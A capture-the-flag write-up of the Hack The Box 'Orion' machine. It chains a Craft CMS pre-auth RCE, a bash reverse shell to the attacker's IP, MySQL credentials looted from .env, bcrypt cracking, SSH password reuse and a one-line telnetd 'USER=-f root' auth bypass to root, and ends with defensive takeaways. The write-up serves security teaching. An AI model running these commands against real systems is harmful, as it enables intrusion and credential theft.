Write-up · HTB
HTB Orion: Craft CMS Pre-Auth RCE to a telnetd Auth-Bypass Root
A straight-line Linux chain: an internet-facing Craft CMS control panel falls to CVE-2025-32432 for www-data RCE, a default .env leaks MySQL root creds whose cracked hash is reused for SSH, and a custom localhost telnetd (CVE-2026-24061) hands over a pre-authenticated root shell.
Machine: Orion (HTB · Linux · Easy) — target
10.129.30.222, attacker10.10.15.21. The box exposes only SSH (22) and HTTP (80). Flags: user6adadbdda0d2b7e72926395a36a903d6· root21092c198e0e26bf02cb2f6e161b12e7
Orion is a straight-line chain with no significant decoy: an internet-facing Craft CMS control panel carries the unauthenticated RCE CVE-2025-32432, which lands code execution as www-data through a Yii behavior-injection → PhpManager file-include gadget primed by PHP session poisoning. From there the root cause of lateral movement is operational, not code: Craft’s default .env ships real MySQL root credentials, the users table yields a bcrypt hash that cracks to darkangel, and that password is reused for SSH as adam (user flag). Root is a second distinct CVE — a custom GNU InetUtils telnetd on localhost affected by CVE-2026-24061, where an unsanitized USER env var from the Telnet NEW-ENVIRON handshake is interpolated into /usr/bin/login -f, giving a pre-authenticated root shell.
Reconnaissance
Port scan
nmap -sV -sC -T4 -p- 10.129.30.222 -oN orion_nmap.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open http nginx 1.18.0 (Ubuntu)
Only SSH and HTTP exposed.
Web enumeration
Root redirects to http://orion.htb/, so add the vhost:
echo "10.129.30.222 orion.htb" | sudo tee -a /etc/hosts
The landing page leaks the stack in a header (!):
X-Powered-By: Craft CMS
/admin → /admin/login confirms a full Craft control panel exposed to the internet. The login page source dumps window.Craft config, giving the action-trigger path needed for exploitation (!):
"actionUrl": "http://orion.htb/index.php?p=admin/actions/",
"csrfTokenName": "CRAFT_CSRF_TOKEN",
"cpTrigger": "admin"
Vulnerability analysis
Craft CMS pre-auth RCE — CVE-2025-32432
A critical pre-auth RCE in Craft 3.x (≤ 3.9.14), 4.x (≤ 4.14.14), 5.x (≤ 5.6.16). The vulnerable action is registered allowAnonymous:
/index.php?p=admin/actions/assets/generate-transform
In AssetsController::actionGenerateTransform, the attacker-controlled handle POST param is spread straight into a Yii object factory:
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle, // associative, attacker-controlled
]);
A key beginning with as makes Yii’s Component::__set treat the value as a behavior attachment, calling Yii::createObject() on it before any type check. Pointing that at yii\rbac\PhpManager yields a gadget whose init() runs loadFromFile($this->itemFile) — effectively a PHP require of an attacker-named path. That turns the bug into “include any file on disk as PHP.”
Session poisoning gets PHP onto disk at a predictable path: unsanitized query params (e.g. GET /index.php?p=admin/dashboard&a=<?php ... ?>) are written verbatim into the PHP session file /var/lib/php/sessions/sess_<PHPSESSID>. Point the gadget’s itemFile at that file and the payload executes. A public PoC automates the whole chain:
git clone https://github.com/theeomega/CVE-2025-32432-POC
cd CVE-2025-32432-POC
python3 exploit.py -u http://orion.htb -c "id"
[+] Vulnerability confirmed by phpinfo gadget
[+] Session ID: rkqks4u3nqi23evc73b97754h6
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
This bug alone is code execution as www-data. Upgrade to a shell:
nc -lvnp 4444 # attacker
python3 exploit.py -u http://orion.htb \
-c "bash -c 'bash -i >& /dev/tcp/10.10.15.21/4444 0>&1'"
# lands in /var/www/html/craft/web as www-data
Leaked .env credentials and password reuse — SSH as adam
Craft’s default .env in the project root holds live secrets:
cat /var/www/html/craft/.env
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
CRAFT_DB_DATABASE=orion
MySQL is loopback-only, so query it through the RCE shell:
mysql -u root -p'SuperSecureCraft123Pass!' -e \
'use orion; select id,username,email,password from users;'
1 admin adam@orion.htb $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS
Crack the bcrypt hash offline:
echo '$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt # → darkangel
/etc/passwd shows a local account matching the admin’s identity (adam:x:1000:...:/bin/bash), and the password is reused for SSH:
ssh adam@10.129.30.222 # password: darkangel
adam@orion:~$ cat ~/user.txt # → 6adadbdda0d2b7e72926395a36a903d6
This step (a config + credential-hygiene failure, not a code flaw) converts www-data RCE into an interactive user session and the user flag.
Privilege escalation — telnetd auth bypass, CVE-2026-24061
As adam, listening sockets reveal a non-package telnet daemon on loopback:
ss -tlnp
# LISTEN 127.0.0.1:23 → /usr/local/sbin/telnetd (installed outside apt)
strings identifies it as GNU InetUtils telnetd, affected by CVE-2026-24061 (1.9.3 – 2.7). telnetd delegates auth to /usr/bin/login using a template with a %U placeholder filled from the client-supplied USER env var — which the Telnet NEW-ENVIRON option (RFC 1572) lets a client set during the handshake — with no sanitization. Setting USER="-f root" makes the daemon run:
/usr/bin/login -h <host> -f root
login -f means pre-authenticated, skip password verification → instant root, no credentials. The stock telnet -a client sends the local USER var during NEW-ENVIRON, so the whole exploit is one line from adam’s SSH session:
USER="-f root" telnet -a 127.0.0.1
root@orion:~# cat /root/root.txt # → 21092c198e0e26bf02cb2f6e161b12e7
The exploit chain
nginx :80 ──► Craft CMS CP (exposed)
│ CVE-2025-32432: generate-transform → "as " behavior inject
│ → PhpManager itemFile require() → include poisoned session file
▼
www-data RCE
│ read .env → mysql root creds → dump users → crack bcrypt → darkangel
│ password reuse
▼
SSH as adam ──► USER FLAG
│ localhost GNU InetUtils telnetd
│ CVE-2026-24061: NEW-ENVIRON USER="-f root" → login -f root
▼
root shell ──► ROOT FLAG
Why this order: the Craft RCE is the only unauthenticated entry, but gives a low-privilege web user with no interactive login. The leaked credentials bridge web → host by turning files already readable by www-data (the .env, then the DB) into an SSH credential — password reuse is the hinge that makes a web secret a shell secret. The telnetd bypass is independent of both and only reachable once you’re a local user who can reach the loopback-bound telnetd.
Grabbing the flag
# 0. Add vhost
echo "10.129.30.222 orion.htb" | sudo tee -a /etc/hosts
# 1. Pre-auth RCE as www-data
git clone https://github.com/theeomega/CVE-2025-32432-POC && cd CVE-2025-32432-POC
python3 exploit.py -u http://orion.htb -c "cat /var/www/html/craft/.env"
# 2. Loot DB via RCE, crack hash
# (CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!)
python3 exploit.py -u http://orion.htb \
-c "mysql -u root -p'SuperSecureCraft123Pass!' -e 'use orion; select username,password from users;'"
echo '$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt # darkangel
# 3. User flag via reused password
ssh adam@10.129.30.222 # password: darkangel
adam@orion:~$ cat ~/user.txt
6adadbdda0d2b7e72926395a36a903d6
# 4. Root flag via telnetd auth bypass
adam@orion:~$ USER="-f root" telnet -a 127.0.0.1
root@orion:~# cat /root/root.txt
21092c198e0e26bf02cb2f6e161b12e7
User: 6adadbdda0d2b7e72926395a36a903d6 · Root: 21092c198e0e26bf02cb2f6e161b12e7
Takeaways
- A spread of attacker data into an object factory is RCE waiting to happen.
...$handleintoCraft::createObjectlet aas-prefixed key become a Yii behavior and reachcreateObjectbefore validation — never let untrusted keys drive object instantiation; patch Craft ≥ 3.9.15 / 4.15.3 / 5.6.17 (Yii2 ≥ 2.0.50) and keep the control panel off the public internet. - Default config files are loot. Shipping Craft’s
.envwith a workingroot/password gave the whole database for free; secrets belong outside the webroot, and the app’s DB user should be least-privilege, neverroot. - Password reuse collapses trust boundaries. The same string protected a CMS account and a Unix login, so cracking one hash crossed from web to shell. Unique per-service credentials plus MFA break that hinge.
- Unsanitized environment variables are an injection channel too. telnetd interpolating a client-controlled
USERinto alogincommand line is the classic “data becomes argument” flaw;-fthen skipped auth entirely. Upgrade GNU InetUtils ≥ 2.8 and retire telnet for SSH. - Defense in depth would have stopped this at every hop: patched Craft (stops the RCE), secrets out of a world-readable
.envwith a scoped DB user (stops the credential loot), unique passwords + MFA (stops the reuse), and no stray telnetd / a patched one (stops the privesc) — each break severs the chain on its own.